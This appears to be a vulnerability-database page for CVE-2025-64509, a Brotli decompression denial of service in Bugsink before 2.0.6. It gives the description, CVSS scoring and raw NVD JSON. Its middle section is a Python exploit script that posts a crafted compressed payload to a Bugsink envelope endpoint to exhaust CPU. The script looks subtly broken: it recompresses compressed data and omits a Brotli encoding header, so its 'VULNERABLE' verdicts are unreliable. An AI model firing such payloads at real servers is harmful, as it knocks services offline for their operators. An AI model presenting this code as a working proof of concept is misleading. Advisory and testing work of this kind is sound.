Security Vulnerability Report
中文
CVE-2025-64509 CVSS 7.5 HIGH

CVE-2025-64509

Published: 2025-11-10 22:15:40
Last Modified: 2026-04-15 00:35:42

Description

Bugsink is a self-hosted error tracking tool. In versions prior to 2.0.6, a specially crafted Brotli-compressed envelope can cause Bugsink to spend excessive CPU time in decompression, leading to denial of service. This can be done if the DSN is known, which it is in many common setups (JavaScript, Mobile Apps). The issue is patched in Bugsink 2.0.6. The vulnerability is similar to, but distinct from, another brotli-related problem in Bugsink, GHSA-fc2v-vcwj-269v/CVE-2025-64508.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Bugsink < 2.0.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
""" CVE-2025-64509 PoC - Bugsink Brotli Decompression DoS This PoC demonstrates the resource exhaustion vulnerability in Bugsink's Brotli decompression handling. Use responsibly and only against systems you have permission to test. """ import brotli import requests import time def generate_malicious_brotli_payload(): """ Generate a Brotli payload designed to cause excessive CPU time during decompression. This creates data with high compression ratio and complex dictionary references. """ # Create data that produces extreme compression ratio # This pattern causes the decompressor to perform excessive operations base_pattern = b'A' * 1000 compressed_data = brotli.compress(base_pattern * 500) # Further compress to create pathological case malicious_data = brotli.compress(compressed_data * 100) return malicious_data def exploit_cve_2025_64509(target_url, dsn): """ Send malicious Brotli payload to Bugsink endpoint Args: target_url: Base URL of the Bugsink instance dsn: Data Source Name for the target project """ payload = generate_malicious_brotli_payload() endpoint = f"{target_url}/api/1/envelope/" headers = { 'Content-Type': 'application/octet-stream', 'X-Sentry-Auth': f'Sentry sentry_version=7, sentry_client=badsentry/1.0, sentry_dsn={dsn}' } print(f"[*] Sending malicious Brotli payload to {endpoint}") print(f"[*] Payload size: {len(payload)} bytes") try: start_time = time.time() response = requests.post( endpoint, data=payload, headers=headers, timeout=30 ) elapsed = time.time() - start_time print(f"[*] Request completed in {elapsed:.2f} seconds") print(f"[*] Response status: {response.status_code}") # If server takes excessive time (>10s), vulnerability is confirmed if elapsed > 10: print("[+] VULNERABLE: Server spent excessive time processing request") else: print("[-] Server responded quickly - may be patched or not vulnerable") except requests.exceptions.Timeout: print("[+] VULNERABLE: Request timed out - server was overwhelmed") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Configuration - replace with your target TARGET_URL = "https://your-bugsink-instance.com" DSN = "https://[email protected]/project-id" exploit_cve_2025_64509(TARGET_URL, DSN)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64509", "sourceIdentifier": "[email protected]", "published": "2025-11-10T22:15:39.873", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bugsink is a self-hosted error tracking tool. In versions prior to 2.0.6, a specially crafted Brotli-compressed envelope can cause Bugsink to spend excessive CPU time in decompression, leading to denial of service. This can be done if the DSN is known, which it is in many common setups (JavaScript, Mobile Apps). The issue is patched in Bugsink 2.0.6. The vulnerability is similar to, but distinct from, another brotli-related problem in Bugsink, GHSA-fc2v-vcwj-269v/CVE-2025-64508."}, {"lang": "es", "value": "Bugsink es una herramienta de seguimiento de errores autoalojada. En versiones anteriores a la 2.0.6, un sobre comprimido con Brotli especialmente diseñado puede hacer que Bugsink consuma un tiempo excesivo de CPU en la descompresión, lo que lleva a una denegación de servicio. Esto se puede lograr si se conoce el DSN, lo cual ocurre en muchas configuraciones comunes (JavaScript, aplicaciones móviles). El problema está parcheado en Bugsink 2.0.6. La vulnerabilidad es similar a, pero distinta de, otro problema relacionado con Brotli en Bugsink, GHSA-fc2v-vcwj-269v/CVE-2025-64508."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://github.com/bugsink/bugsink/security/advisories/GHSA-rrx3-2x4g-mq2h", "source": "[email protected]"}]}}